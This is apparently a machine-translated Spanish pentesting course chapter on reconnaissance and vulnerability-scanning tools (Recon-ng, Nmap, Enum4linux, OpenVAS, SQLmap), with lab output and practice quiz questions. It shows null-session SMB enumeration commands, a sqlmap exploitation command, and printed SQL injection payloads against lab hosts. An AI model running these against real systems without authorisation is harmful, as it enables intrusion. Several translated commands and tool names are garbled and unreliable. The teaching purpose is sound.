recon/perfiles-perfiles/comprobación de nombres
recon/perfiles-perfiles/perfilador
recon/perfiles-perfiles/twitter_mencionado
recon/perfiles-perfiles/menciones_de_twitter
recon/profiles-repositories/github_repos
recon/repositories-profiles/github_commits
recon/repositories-vulnerabilitys/gists_search
recon/repositories-vulnerabilitys/github_dorks
Informes
---------
informes/csv
informes/html
informes/json
lista/informe
informante/proxificador
informe/chincheta
informes/xlsx
informes/xml
[recon-ng][predeterminado] >

37
Recon-ng puede consultar diversas herramientas de terceros, como Shodan, así como
Twitter, Instagram, Flickr, YouTube, Google, repositorios de GitHub y muchos otros
sitios. Para algunas de estas herramientas y fuentes, es necesario registrarse y obtener
una clave API. Puede agregar la clave API mediante el comando `keys add` de Recon-
ng . Para listar todas las API disponibles con las que Recon-ng puede interactuar, utilice
el comando `keys list` , como se muestra en el Ejemplo 10-10.
Ejemplo 10-10 - El Recon-ng lista de claves Dominio
[recon-ng][predeterminado] > lista de claves
+--- [recon-ng][predeterminado] > lista de claves
+--------------------------+
| Nombre | Valor |
+--------------------------+
| API de Bing | |
| construido con API | |
| censysio_id | |
| censysio_secreto | |
| flickr_api | |
| API de contacto completo | |
| github_api | |
| google_api | |
| google_cse | |
| hashes_api | |
| instagram_api | |
| instagram_secreto | |
| ipinfodb_api | |
| jigsaw_api | |
| contraseña_jigsaw | |
| nombre_de_usuario_jigsaw | |
| API de LinkedIn | |
| linkedin_secreto | |
| API de lista de comprometidos | |
| pwnedlist_iv | |
| lista_secreta_prohibida | |
| shodan_api | |
| twitter_api | |
| twitter_secreto | |
El comando `use` permite utilizar un módulo de Recon-ng. Tras seleccionar el módulo,
puede ejecutar el comando `show info` para ver sus opciones e información. A
continuación, puede configurar el origen (dominio de destino, dirección IP, dirección
de correo electrónico, etc.) con el comando `set` y, posteriormente, usar el comando
`run` para ejecutar la búsqueda automatizada. En el Ejemplo 10-11, se ejecuta el
módulo Hostname Resolver para consultar la información del dominio [Link].
Ejemplo 10-11 - Uso de módulos Recon-ng
[recon-ng][predeterminado] > usar recon/hosts-hosts/resolve
[recon-ng][predeterminado][resolver] > mostrar información
Nombre: Resolutor de nombres de host
Ruta: modules/recon/hosts-hosts/[Link]
Autor: Tim Tomes (@LaNMaSteR53)
Descripción:

38
Resuelve la dirección IP de un host. Actualiza la tabla 'hosts' con
los resultados.
Opciones:
Nombre Valor actual Requerido Descripción
------ ------------- -------- -----------
FUENTE [Link] sí fuente de entrada (ver 'mostrar')
(para más detalles)
Opciones de origen:
por defecto SELECT DISTINCT host FROM hosts WHERE host IS NOT NULL
Y la dirección IP es nula
<string> Cadena que representa una sola entrada
<ruta> ruta a un archivo que contiene una lista de entradas
consulta <sql> consulta de base de datos que devuelve una columna de entradas
Comentarios:
* Nota: El servidor de nombres debe estar en formato IP.
[recon-ng][default][resolve] > establecer SOURCE [Link]
FUENTE => [Link]
[recon-ng][predeterminado][resolver] > ejecutar
[*] [Link] => [Link]
[*] [Link] => [Link]
[*] [Link] => [Link]
[*] [Link] => [Link]
-------
RESUMEN
-------
[*] Se encontraron 3 hosts en total (3 nuevos).
[recon-ng][predeterminado][resolver] >
El ejemplo 10-12 muestra el módulo Shodan utilizado para consultar información
relacionada con el dominio [Link].
Ejemplo 10-12 - Consultando Shodan usando Recon-ng
[recon-ng][predeterminado] > usar recon/domains-hosts/shodan_hostname
[recon-ng][predeterminado][shodan_hostname] > establecer FUENTE [Link]
FUENTE => [Link]
[recon-ng][predeterminado][shodan_hostname] > ejecutar
-----------
[Link]
-----------
[*] Buscando en la API de Shodan: hostname:[Link]
[*] [puerto] [Link] (587/<espacio en blanco>) - [Link]
[*] [host] [Link] ([Link])
[*] [puerto] [Link] (22/<espacio en blanco>) - [Link]
[*] [host] [Link] ([Link])
[*] [puerto] [Link] (22/<espacio en blanco>) - [Link]
[*] [host] [Link] ([Link])
[*] [puerto] [Link] (22/<espacio en blanco>) - [Link]

39
[*] [host] [Link] ([Link])
[*] [puerto] [Link] (22/<espacio en blanco>) - [Link]
[*] [host] [Link] ([Link])
[*] [puerto] [Link] (143/<espacio en blanco>) - [Link]
[*] [host] [Link] ([Link])
[*] [puerto] [Link] (110/<espacio en blanco>) - [Link]
...
<salida omitida por brevedad>
...
[*] [puerto] [Link] (21/<espacio en blanco>) - [Link]
[*] [host] [Link] ([Link])
-------
RESUMEN
-------
[*] Se encontraron 67 hosts en total (17 nuevos).
[*] Se encontraron 67 puertos en total (67 nuevos).
[recon-ng][predeterminado][shodan_hostname] >
NOTA: Puedes aprender sobre todas las opciones y comandos de Recon-ng en
[Link] .
Censys
Censys , una herramienta desarrollada por investigadores de la Universidad de
Michigan, permite realizar reconocimiento pasivo para obtener información sobre
dispositivos y redes en Internet. Se puede acceder a ella en [Link] . Censys
ofrece un plan gratuito de acceso web y API que limita el número de consultas que
puede realizar un usuario. También ofrece varios planes de pago que incluyen soporte
premium y consultas adicionales. La figura 10-9 muestra una captura de pantalla del
sitio web de Censys. La figura 10-9 muestra los resultados de una consulta a [Link] (el
servidor DNS público de Google).
Figura 10-9 – Censys

40
de TIP analiza herramientas adicionales que pueden utilizarse para el reconocimiento
pasivo. El repositorio de GitHub de Art of Hacking también proporciona numerosas
herramientas y documentación sobre OSINT y reconocimiento pasivo; consulte
[Link] .
Con esto concluimos nuestra discusión sobre las herramientas de reconocimiento
pasivo. Ahora centrémonos en las herramientas de reconocimiento activo.
Herramientas para el reconocimiento activo
El reconocimiento activo consiste en recopilar información sobre una víctima mediante
herramientas como escáneres de puertos y vulnerabilidades. Las siguientes secciones
describen algunas de las herramientas más populares para el reconocimiento activo.
Nmap y Zenmap
El módulo 3 analiza Nmap en detalle, incluyendo las opciones y tipos de escaneo más
comunes. La enumeración de hosts es una de las primeras tareas que se deben realizar
en el reconocimiento activo. Esta enumeración puede llevarse a cabo tanto en una red
interna como externamente (desde Internet). Al realizarla externamente, conviene
limitar las direcciones IP escaneadas a aquellas que forman parte del alcance de la
prueba. De esta forma, se reducen las posibilidades de escanear inadvertidamente una
dirección IP no autorizada.
Al realizar una enumeración interna de hosts, normalmente se escanea la subred o
subredes completas de direcciones IP que utiliza el objetivo. El ejemplo 10-13 muestra
un escaneo rápido con Nmap para enumerar todos los hosts en la subred [Link]/24 y
cualquier puerto TCP que tengan abierto. Para obtener más información sobre los
puertos que Nmap escanea por defecto, consulte [Link]
[Link] .

41
Ejemplo 10-13 - Enumeración de hosts usando Nmap
root@ kali:~ # nmap -T4 [Link]/24
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,000057 s).
No se muestran: 998 puertos cerrados
SERVICIO DEL ESTADO PORTUARIO
22/tcp abierto ssh
8080/tcp abierto proxy http
Dirección MAC: 00:0C:29:DD:5 D:ED (VMware)
Informe de escaneo Nmap para [Link] ([Link])
El host está activo (latencia de 0,000043 s).
No se muestran: 998 puertos cerrados
SERVICIO DEL ESTADO PORTUARIO
139/tcp abierto netbios-ssn
445/tcp abierto microsoft-ds
Dirección MAC: 00:0 C:29:73:03 :CC (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,00011 s).
No se muestran: 996 puertos cerrados
SERVICIO DEL ESTADO PORTUARIO
21/tcp abierto ftp
22/tcp abierto ssh
80/tcp abierto http
8080/tcp abierto proxy http
Dirección MAC: 00:0 C:29:3 A:9B:81 (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,000049 s).
No se muestran: 998 puertos cerrados
SERVICIO DEL ESTADO PORTUARIO
22/tcp abierto ssh
80/tcp abierto http
Dirección MAC: 00:0 C:29:79:23 :C9 (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,000052 s).
No se muestran: 996 puertos cerrados
SERVICIO DEL ESTADO PORTUARIO
22/tcp abierto ssh
88/tcp abierto kerberos-sec
443/tcp abierto https
8080/tcp abierto proxy http
Dirección MAC: 00:0C: 29:FF :F5:4F (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,000051 s).
No se muestran: 977 puertos cerrados

42
SERVICIO DEL ESTADO PORTUARIO
21/tcp abierto ftp
22/tcp abierto ssh
telnet abierto en el puerto 23/tcp
25/tcp abierto smtp
53/tcp dominio abierto
80/tcp abierto http
111/tcp abierto rpcbind
139/tcp abierto netbios-ssn
445/tcp abierto microsoft-ds
512/tcp abierto exec
513/tcp inicio de sesión abierto
514/tcp shell abierto
1099/tcp abierto rmiregistry
1524/tcp abierto bloqueo de entrada
2049/tcp abierto nfs
2121/tcp abierto ccproxy-ftp
3306/tcp abierto mysql
5432/tcp abierto postgresql
5900/tcp vnc abierto
6000/tcp abierto X11
6667/tcp abierto irc
8009/tcp abierto ajp13
8180/tcp abierto desconocido
Dirección MAC: 00:0C: 29:D0:E5 :8A (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,000080 s).
No se muestran: 845 puertos cerrados, 154 puertos filtrados
SERVICIO DEL ESTADO PORTUARIO
22/tcp abierto ssh
Dirección MAC: 00:0C: 29:A 3:05:34 (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,00029 s).
No se muestran: 999 puertos filtrados
SERVICIO DEL ESTADO PORTUARIO
22/tcp abierto ssh
Dirección MAC: 00:0C: 29:E 4:DF:1D (VMware)
Informe de escaneo Nmap para [Link]
El host está activo (latencia de 0,0000050 s).
No se muestran: 999 puertos cerrados
SERVICIO DEL ESTADO PORTUARIO
22/tcp abierto ssh
Nmap finalizado: 256 direcciones IP (9 hosts activos) escaneadas en 7,02 segundos
raíz@ kali:~ #

43
El ejemplo 10-13 muestra que se encontraron nueve hosts en la subred [Link]/24.
También se pueden ver los puertos TCP abiertos en cada host.
Zenmap es una herramienta de interfaz gráfica de usuario (GUI) para Nmap. La figura
10-10 muestra la herramienta Zenmap y el resultado del mismo escaneo realizado en
el ejemplo 10-13.
Figura 10-10 - Escaneo Zenmap

Zenmap ofrece una función que permite visualizar la topología de los hosts que
encuentra. La figura 10-11 muestra la pestaña Topología de la herramienta Zenmap.
Figura 10-11 - Pestaña de topología de Zenmap

44
CONSEJO: Consulte el Módulo 3 para obtener información adicional sobre las opciones
más comunes de Nmap y para aprender sobre el Motor de Scripting de Nmap (NSE). El
repositorio de GitHub de The Art of Hacking ( [Link] )
también incluye varias guías rápidas para diferentes herramientas, entre ellas Nmap.
Enum4linux
Enum4linux es una excelente herramienta para enumerar recursos compartidos SMB,
implementaciones vulnerables de Samba y los usuarios correspondientes. El ejemplo
10-14 muestra el resultado de un escaneo detallado realizado con Enum4linux en el
host con la dirección IP [Link], descubierto por Nmap en el ejemplo 10-13.
Ejemplo 10-14 - Uso de Enum4linux
root@ kali:~ # enum4linux -v [Link]
[V] Se ha encontrado el programa dependiente "nmblookup" en
/usr/bin/nmblookup
[V] Se ha encontrado el programa dependiente "net" en /usr/bin/net
[V] Se ha encontrado el programa dependiente "rpcclient" en /usr/bin/rpcclient
[V] Programa dependiente "smbclient" encontrado en /usr/bin/smbclient
[V] Programa dependiente "polenum" encontrado en /usr/bin/polenum
[V] Se ha encontrado el programa dependiente "ldapsearch" en /usr/bin/ldapsearch
Iniciando enum4linux v0.8.9 ( [Link]
enum4linux / ) el sábado 23 de junio a las 19:48:00
==========================
| Información del objetivo |
==========================
Objetivo........... [Link]
Rango RID ........ 500-550, 1000-1050
Nombre de usuario ......... ''

45
Contraseña ......... ''
Nombres de usuario conocidos : administrador, invitado, krbtgt, administradores de
dominio, root.
contenedor, ninguno
=================================================
| Enumerando el grupo de trabajo/dominio en [Link] |
=================================================
[V] Intentando obtener el nombre de dominio con el comando: nmblookup -A
'[Link]'
[+] Se obtuvo el nombre del dominio/grupo de trabajo: WORKGROUP
=========================================
| Información de Nbtstat para el [Link] |
=========================================
Consultando el estado de [Link]
METASTLOITABLE <00> - B <ACTIVE> Servicio de estación de trabajo
METASPLOITABLE <03> - B <ACTIVO> Servicio de mensajería
METASTLOITABLE <20> - B <ACTIVO> Servicio de servidor de archivos
.. __MSBROWSE__.<01> - <GRUPO> B <ACTIVO> Navegador Maestro
GRUPO DE TRABAJO <00> - <GRUPO> B <ACTIVO> Nombre de dominio/grupo de
trabajo
GRUPO DE TRABAJO <1d> - B <ACTIVO> Navegador Maestro
GRUPO DE TRABAJO <1e> - <GRUPO> B <ACTIVO> Elecciones de servicio de
navegador
Dirección MAC = 00-00-00-00-00-00
==================================
| Comprobación de sesión en [Link] |
==================================
[V] Intentando crear una sesión nula usando el comando: smbclient -W
'WORKGROUP' //'[Link]'/ipc$ -U''%'' -c 'help' 2>&1
[+] El servidor [Link] permite sesiones con nombre de usuario '', contraseña ''
========================================
| Obteniendo el SID del dominio para [Link] |
========================================
[V] Intentando obtener el SID del dominio con el comando: rpcclient -W
'WORKGROUP' -U''%'' [Link] -c 'lsaquery' 2>&1
Nombre de dominio: GRUPO DE TRABAJO
SID de dominio: (SID nulo)
[+] No se puede determinar si el host forma parte de un dominio o de un grupo de
trabajo.
===================================
| Información del sistema operativo en [Link] |
===================================
[V] Intentando obtener información del sistema operativo con el comando:
smbclient -W 'WORKGROUP'

46
//'[Link]'/ipc$ -U''%'' -c 'q' 2>&1
Uso de un valor no inicializado $os_info en concatenación (.) o cadena en
./[Link] línea 464.
[+] Se obtuvo información del sistema operativo [Link] desde smbclient:
[V] Intentando obtener información del sistema operativo con el comando: rpcclient
-W 'WORKGROUP'
-U''%'' -c 'srvinfo' '[Link]' 2>&1
[+] Se obtuvo información del sistema operativo [Link] de srvinfo:
METASPLOITABLE Wk Sv PrQ Unx NT SNT servidor metasploitable (Samba
3.0.20-Debian)
de plataforma : 500
Versión del sistema operativo : 4.9
de servidor : 0x9a03
==========================
| Usuarios en [Link] |
==========================
[V] Intentando obtener la lista de usuarios con el comando: rpcclient -W
'WORKGROUP'
-c querydispinfo -U''%'' '[Link]' 2>&1
Índice: 0x1 RID: 0x3f2 acb: 0x00000011 Cuenta: juegos Nombre: juegos Descripción:
(nulo)
Índice: 0x2 RID: 0x1f5 acb: 0x00000011 Cuenta: nadie Nombre: nadie
Descripción: (nulo)
Índice: 0x3 RID: 0x4ba acb: 0x00000011 Cuenta: bind Nombre: (nulo) Descripción:
(nulo)
Índice: 0x4 RID: 0x402 acb: 0x00000011 Cuenta: proxy Nombre: proxy Descripción:
(nulo)
Índice: 0x5 RID: 0xbbe acb: 0x00000010 Cuenta: omar Nombre: (nulo) Descripción:
(nulo)
Índice: 0x6 RID: 0x4b4 acb: 0x00000011 Cuenta: syslog Nombre: (nulo)
Descripción: (nulo)
Índice: 0x7 RID: 0xbba acb: 0x00000010 Cuenta: usuario Nombre: solo un
usuario,111,, Desc: (nulo)
Índice: 0x8 RID: 0x42a acb: 0x00000011 Cuenta: www-data Nombre: www-data
Descripción: (nulo)
Índice: 0x9 RID: 0x3e8 acb: 0x00000011 Cuenta: root Nombre: root Descripción:
(nulo)
Índice: 0xa RID: 0x3fa acb: 0x00000011 Cuenta: noticias Nombre: noticias
Descripción:
(nulo)
índice: 0xb RID: 0x4c0 acb: 0x00000011 Cuenta: postgres Nombre:
de PostgreSQL ,,, Desc: (nulo)
Índice: 0xc RID: 0x3ec acb: 0x00000011 Cuenta: bin Nombre: bin Descripción:
(nulo)

47
Índice: 0xd RID: 0x3f8 acb: 0x00000011 Cuenta: correo Nombre: correo Descripción:
(nulo)
Índice: 0xe RID: 0x4c6 acb: 0x00000011 Cuenta: distccd Nombre: (nulo)
Descripción: (nulo)
Índice: 0xf RID: 0x4ca acb: 0x00000011 Cuenta: proftpd Nombre: (nulo)
Descripción: (nulo)
Índice: 0x10 RID: 0x4b2 acb: 0x00000011 Cuenta: dhcp Nombre: (nulo)
Descripción: (nulo)
Índice: 0x11 RID: 0x3ea acb: 0x00000011 Cuenta: daemon Nombre: daemon
Descripción: (nulo)
Índice: 0x12 RID: 0x4b8 acb: 0x00000011 Cuenta: sshd Nombre: (nulo)
Descripción: (nulo)
Índice: 0x13 RID: 0x3f4 acb: 0x00000011 Cuenta: man Nombre: man Descripción:
(nulo)
Índice: 0x14 RID: 0x3f6 acb: 0x00000011 Cuenta: lp Nombre: lp Descripción:
(nulo)
Índice: 0x15 RID: 0x4c2 acb: 0x00000011 Cuenta: mysql Nombre: MySQL
Servidor,,, Descripción: (nulo)
Índice: 0x17 RID: 0x4b0 acb: 0x00000011 Cuenta: libuuid Nombre: (nulo)
Descripción: (nulo)
Índice: 0x18 RID: 0x42c acb: 0x00000011 Cuenta: copia de seguridad Nombre: copia
de seguridad
Descripción: (nulo)
Índice: 0x19 RID: 0xbb8 acb: 0x00000010 Cuenta: msfadmin Nombre:
msfadmin,,, Desc: (nulo)
Índice: 0x1a RID: 0x4c8 acb: 0x00000011 Cuenta: telnetd Nombre: (nulo)
Descripción: (nulo)
Índice: 0x1b RID: 0x3ee acb: 0x00000011 Cuenta: sys Nombre: sys Descripción:
(nulo)
Índice: 0x1c RID: 0x4b6 acb: 0x00000011 Cuenta: klog Nombre: (nulo)
Descripción: (nulo)
Índice: 0x1d RID: 0x4bc acb: 0x00000011 Cuenta: postfix Nombre: (nulo)
Descripción: (nulo)
Índice: 0x1e RID: 0xbbc acb: 0x00000011 Cuenta: servicio Nombre : , ,,
Descripción: (nulo)
Índice: 0x1f RID: 0x434 acb: 0x00000011 Cuenta: lista Nombre: Correo
Descripción del administrador de listas: (nulo)
Índice: 0x20 RID: 0x436 acb: 0x00000011 Cuenta: irc Nombre: ircd Descripción:
(nulo)
Índice: 0x21 RID: 0x4be acb: 0x00000011 Cuenta: ftp Nombre: (nulo) Descripción:
(nulo)
Índice: 0x22 RID: 0x4c4 acb: 0x00000011 Cuenta: tomcat55 Nombre: (nulo)
Descripción: (nulo)
Índice: 0x23 RID: 0x3f0 acb: 0x00000011 Cuenta: sync Nombre: sync Descripción:

48
(nulo)
Índice: 0x24 RID: 0x3fc acb: 0x00000011 Cuenta: uucp Nombre: uucp Descripción:
(nulo)
[V] Intentando obtener la lista de usuarios con el comando: rpcclient -W
'WORKGROUP'
-c enumdomusers -U''%'' '[Link]' 2>&1
usuario:[ juegos] rid:[0x3f2]
usuario:[ nadie] rid:[0x1f5]
usuario:[ bind] rid:[0x4ba]
usuario:[ proxy] rid:[0x402]
Usuario:[ Omar] Rid:[0xbbe]
usuario:[ syslog] rid:[0x4b4]
usuario:[ usuario] rid:[0xbba]
usuario:[ www-data] rid:[0x42a]
usuario:[ root] rid:[0x3e8]
usuario:[ noticias] rid:[0x3fa]
usuario:[ postgres] rid:[0x4c0]
usuario:[ bin] rid:[0x3ec]
usuario:[ correo] rid:[0x3f8]
usuario:[ distccd] rid:[0x4c6]
usuario:[ proftpd] rid:[0x4ca]
usuario:[ dhcp] rid:[0x4b2]
usuario:[ demonio] rid:[0x3ea]
usuario:[ sshd] rid:[0x4b8]
usuario:[ hombre] rid:[0x3f4]
usuario:[ lp] rid:[0x3f6]
usuario:[ mysql] rid:[0x4c2]
usuario:[ gnats] rid:[0x43a]
usuario:[ libuuid] rid:[0x4b0]
usuario:[ copia de seguridad] rid:[0x42c]
usuario:[ msfadmin] rid:[0xbb8]
usuario:[ telnetd] rid:[0x4c8]
usuario:[ sys] rid:[0x3ee]
usuario:[ klog] rid:[0x4b6]
usuario:[ sufijo] rid:[0x4bc]
usuario:[ servicio] rid:[0xbbc]
usuario:[ lista] rid:[0x434]
usuario:[ irc] rid:[0x436]
usuario:[ ftp] rid:[0x4be]
usuario:[ tomcat55] rid:[0x4c4]
usuario:[ sync] rid:[0x3f0]
usuario:[ uucp] rid:[0x3fc]
======================================
| Compartir enumeración el [Link] |

49
======================================
[V] Intentando obtener la lista de recursos compartidos mediante autenticación
Compartir Tipo Comentario
--------- ---- -------
imprimir$ Controladores de impresora de disco
Disco temporal ¡Oh, no!
Disco de opción
Servicio IPC$ IPC IPC (servidor metaexplotable (Samba
3.0.20-Debian))
ADMIN$ IPC Servicio IPC (servidor metaexplotable (Samba
3.0.20-Debian))
Reconectando con SMB1 para la lista de grupos de trabajo.

Comentario del servidor


--------- -------
Maestro de grupo de trabajo
--------- -------
GRUPO DE TRABAJO METASTLOITABLE
[+] Intentando mapear las acciones en [Link]

<salida omitida por brevedad>
...
Las dos primeras líneas resaltadas en el Ejemplo 10-14 muestran que se enumeró un
usuario con el nombre de usuario omar (junto con otros). Las líneas resaltadas
adicionales muestran diferentes recursos compartidos SMB que Enum4linux pudo
enumerar.
NOTA: Consulte el Módulo 3 para obtener información sobre herramientas adicionales
que se pueden utilizar para la recopilación de información.
10.2.4 Práctica - Herramientas comunes para reconocimiento y enumeración
Pregunta 1
Acabas de iniciar un nuevo proyecto con un cliente del sector editorial. Tienen muchos
dominios y subdominios registrados para sus productos. Necesitas investigar su
presencia DNS para hacerte una idea de su superficie de ataque web.
¿Qué herramientas te ayudarán a hacerlo? (Elige tres).
Excavar
nslookup
Herramienta Exif
Shodan
FOCA
Anfitrión
Pregunta 2
Durante una prueba de penetración, se busca en un servidor web archivos que
contengan información útil para la fase de explotación. El objetivo es obtener

50
información sobre el cliente a partir de los metadatos y la información EXIF de los
archivos expuestos. ¿Qué herramienta se utilizaría para escanear el servidor?
Shodan
Excavar
FOCA
Wireshark
Pregunta 3
Estás realizando un reconocimiento pasivo de un objetivo y te gustaría averiguar qué
servidores están registrados a nombre del cliente consultando una variedad de
herramientas DNS y motores de búsqueda.
¿Qué herramienta seleccionarás para este propósito?
Shodan
la cosechadora
Herramienta Exif
FOCA
Pregunta 4
Estás interesado en analizar los dominios de los clientes en busca de información sobre
servidores conectados a Internet, incluyendo información de diversos dispositivos IoT,
puertos abiertos, sistema operativo del servidor y versión del sistema operativo.
¿Qué herramienta se puede utilizar para identificar sistemas vulnerables y expuestos
en Internet como parte de una actividad de reconocimiento pasivo?
Shodan
la cosechadora
Herramienta Exif
FOCA
Pregunta 5
Estás evaluando herramientas OSINT como parte de una operación de
reconocimiento. ¿Qué herramienta utilizarás para obtener información sobre
personas, empresas y otros objetivos?
Maltego
nslookup
la cosechadora
FOCA
Pregunta 6
¿Qué herramienta de pruebas de penetración puede realizar búsquedas detalladas
en registros públicos, archivos de interés y registros DNS?
la cosechadora

51
Recon-ng
FOCA
nslookup
Pregunta 7
Es importante conocer la diferencia entre las herramientas de reconocimiento
activas y pasivas para evitar ser detectado si fuera necesario. Identifique si cada
herramienta de reconocimiento es pasiva o activa.
la cosechadora
Reconocimiento pasivo
Nmap
Reconocimiento activo
Shodan
Reconocimiento pasivo
Maltego
Reconocimiento pasivo
Enum4linux
Reconocimiento activo
Censys
Reconocimiento pasivo
Mapa Zen
Reconocimiento activo
nslookup
Reconocimiento pasivo
10.2.5 Herramientas comunes para el escaneo de vulnerabilidades
Existen numerosas herramientas de escaneo de vulnerabilidades, incluyendo
escáneres de código abierto y comerciales, así como servicios y herramientas en la
nube. A continuación, se presentan algunos de los escáneres de vulnerabilidades más
populares:
 OpenVAS
 Neso
 Nexpose
 Qualys
 Mapa SQL
 Nikto
 Proxy de ataque Zed de OWASP (ZAP)
 w3af
 DirBuster
 Guardafrenos
 Escáneres del protocolo SCAP (Secure Content Automation Protocol)
 Wapiti
 Suite Scout
 WPScan (escáner de WordPress)

52
NOTA: Brakeman, SCAP, Wapiti, Scout Suite y WPScan no se tratarán con más detalle
en este curso. Para obtener más información, visite sus sitios web.
[Link]
[Link]
[Link]
[Link]
[Link]
OWASP enumera herramientas adicionales de escaneo de vulnerabilidades no
cubiertas en este módulo en
[Link] .
OpenVAS
OpenVAS es un escáner de vulnerabilidades de código abierto creado por Greenbone
Networks. El framework de OpenVAS incluye varios servicios y herramientas que
permiten realizar escaneos de vulnerabilidades detallados en hosts y redes.
OpenVAS se puede descargar desde [Link] y se puede acceder a la
documentación en [Link] .
CONSEJO: OpenVAS también incluye una API que permite interactuar mediante programación
con sus herramientas y automatizar el escaneo de hosts y redes. La documentación de
la API de OpenVAS está disponible en
[Link] .
La figura 10-12 muestra una captura de pantalla del panel de resultados del escaneo
de OpenVAS.
Figura 10-12: Panel de resultados del análisis OpenVAS

La figura 10-13 muestra múltiples vulnerabilidades críticas de ejecución remota de


código encontradas por OpenVAS en el host con dirección IP [Link].
Para iniciar un escaneo en OpenVAS, vaya a Escaneos -> Tareas y seleccione Asistente
de tareas o Asistente de tareas avanzado. También puede configurar un escaneo
53
manualmente creando una nueva tarea. La figura 10-14 muestra una captura de
pantalla del Asistente de tareas avanzado de OpenVAS, donde se crea una nueva tarea
para iniciar un escaneo del host con la dirección IP [Link].
Figura 10-13 - Múltiples vulnerabilidades críticas encontradas por OpenVAS

Figura 10-14 - El asistente de tareas avanzadas de OpenVAS

Puede programar escaneos mediante la API, el Asistente de tareas o accediendo a


Configuración -> Programaciones. La figura 10-15 muestra una captura de pantalla de
la ventana de configuración de programación de OpenVAS.
Figura 10-15: Programación de análisis de vulnerabilidades en OpenVAS

54
Neso
El escáner Nessus de Tenable cuenta con diversas funciones que permiten realizar un
monitoreo continuo y un análisis de cumplimiento. Nessus se puede descargar desde
[Link] .
NOTA: Tenable también cuenta con una solución basada en la nube llamada
[Link]. Para obtener información sobre [Link], consulte
[Link] .
Nexpose
Nexpose es un escáner de vulnerabilidades creado por Rapid7 que goza de gran
popularidad entre los pentesters profesionales. Admite integraciones con otros
productos de seguridad.
NOTA: Rapid7 también cuenta con varias soluciones de escaneo de vulnerabilidades
que se utilizan para la gestión de vulnerabilidades, la monitorización continua y el ciclo
de vida de desarrollo seguro.
Qualys
Qualys es una empresa de seguridad que creó uno de los escáneres de
vulnerabilidades más populares del sector. También ofrece un servicio en la nube que
realiza monitorización continua, gestión de vulnerabilidades y comprobación del
cumplimiento normativo. Esta solución en la nube interactúa con agentes en la nube,
escáneres virtuales, dispositivos de escaneo y escáneres de Internet.
NOTA: Se puede acceder a información sobre el escáner Qualys y la plataforma en la
nube en [Link] .
Herramientas como Qualys y Nessus también proporcionan funciones que pueden
utilizarse para el cumplimiento de la configuración.
Mapa SQL

55
SQLmap se considera una herramienta para detectar vulnerabilidades web e inyección
SQL. Ayuda a automatizar la enumeración de aplicaciones vulnerables, así como la
explotación de técnicas de inyección SQL aprendidas en el Módulo 6, «Explotación de
vulnerabilidades en aplicaciones». Puede descargar SQLmap desde [Link] .
Veamos un ejemplo rápido de cómo usar SQLmap para explotar una vulnerabilidad de
inyección SQL. Supongamos que un host con la dirección IP [Link] es vulnerable a
inyección SQL. Para automatizar la enumeración y explotación de esta vulnerabilidad,
primero se conecta a la aplicación vulnerable y captura la solicitud HTTP GET mediante
un proxy. (El módulo 6 describe cómo funcionan los proxies). El ejemplo 10-15 muestra
la solicitud HTTP GET capturada al servidor vulnerable ([Link]).
Ejemplo 10-15 - Solicitud HTTP GET a una aplicación web vulnerable
OBTENER /dvwa/vulnerabilidades/sqli/?id=omar&Submit=Enviar HTTP/1.1
Servidor: [Link]
Agente de usuario: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Aceptar: texto/ html,application /xhtml+xml ,application/xml;q=0.9,/;q=0.8
Idioma aceptado: en- US,en ;q=0.5
Aceptar codificación: gzip, deflate
Referencia: [Link]
Cookie: seguridad=baja; PHPSESSID=1558e11b491da91be3b68e5cce953ca4
Conexión: cerrar
Solicitudes de actualización inseguras: 1
La primera línea resaltada en el Ejemplo 10-15 muestra el URI de la solicitud GET. La
segunda línea resaltada muestra la cookie y el ID de sesión
(PHPSESSID=1558e11b491da91be3b68e5cce953ca4). Puede usar esta información
para ejecutar la herramienta SQLmap, como se muestra en el Ejemplo 10-16.
Ejemplo 10-16 - Uso de la herramienta SQLmap para explotar una vulnerabilidad de
inyección SQL
root@ kali:~ # sqlmap -u "[Link]
id=omar&Submit=Submit" --cookie="security=low;
PHPSESSID=1558e11b491da91be3b68e5cce953ca4" --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.2.4#estable}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V |_| [Link]

[!] Aviso legal: El uso de sqlmap para atacar objetivos sin autorización está prohibido.
El consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final.
Cumplir con todas las leyes locales, estatales y federales aplicables. Desarrolladores
No asumimos ninguna responsabilidad y no nos hacemos responsables de ningún
mal uso o daño.
causado por este programa
[*] a partir de las 21:49:11
[21:49:11] [INFO] Probando la conexión con la URL de destino
[21:49:11] [INFO] Comprobando si el contenido de la URL de destino es estable.
56
[21:49:12] [INFO] El contenido de la URL de destino es estable.
[21:49:12] [INFO] Comprobando si el parámetro GET 'id' es dinámico
...
<salida omitida por brevedad>
...
[21:50:12] [INFO] La URL de destino parece tener 2 columnas en la consulta.
[21:50:12] [INFO] El parámetro GET 'id' es 'Consulta UNION de MySQL (NULL) - 1'.
a 20 columnas inyectables
[21:50:12] [ADVERTENCIA] En los casos de inyección basados en booleanos OR, por
favor
Considere el uso del parámetro '--drop-set-cookie' si experimenta algún problema.
problemas durante la recuperación de datos
El parámetro 'id' de la solicitud GET es vulnerable. ¿Desea continuar probando?
¿Otros (si los hay)? [s/N]
sqlmap identificó los siguientes puntos de inyección con un total de 201
Solicitudes HTTP(s):
---
Parámetro: id (GET)
Tipo: ciego basado en booleanos
Título: Cláusula ciega OR basada en booleanos - WHERE o HAVING (MySQL)
comentario) (NO)
Carga útil: id=omar' O NO 3391=3391#&Enviar=Enviar
Tipo: basado en errores
Título: MySQL >= 4.1 OR basado en errores - Cláusula WHERE o HAVING
(PISO)
Carga útil: id=omar' O FILA( 5759,9381)>(SELECT COUNT(*),CONCAT
(0x 7162717871,( SELECT (ELT(5759=5759,1))),0x716a717671,PISO
( RAND( 0)*2))x FROM (SELECT 5610 UNION SELECT 4270 UNION SELECT 5009
UNION SELECT 5751)a GROUP BY x)-- AxAS&Submit=Submit
